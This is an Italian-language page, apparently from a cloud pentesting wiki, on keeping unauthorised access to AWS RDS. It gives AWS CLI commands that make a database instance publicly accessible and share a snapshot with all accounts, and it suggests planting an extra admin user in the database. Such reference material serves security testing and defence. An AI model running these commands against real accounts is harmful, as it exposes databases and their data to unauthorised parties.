# AWS - RDS Persistence

{{#include ../../../../banners/hacktricks-training.md}}

## RDS

Per maggiori informazioni, vedi:

{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
{{#endref}}

### Rendere l'istanza accessibile pubblicamente: `rds:ModifyDBInstance`

Un attacker con questa autorizzazione può **modificare un'istanza RDS esistente per abilitare l'accessibilità pubblica**.
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
### Crea un utente admin all'interno del DB

Un attacker potrebbe semplicemente **creare un utente all'interno del DB** così, anche se la password dell'utente master viene modificata, **non perde l'accesso** al database.

### Rendi lo snapshot pubblico
```bash
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
```
{{#include ../../../../banners/hacktricks-training.md}}
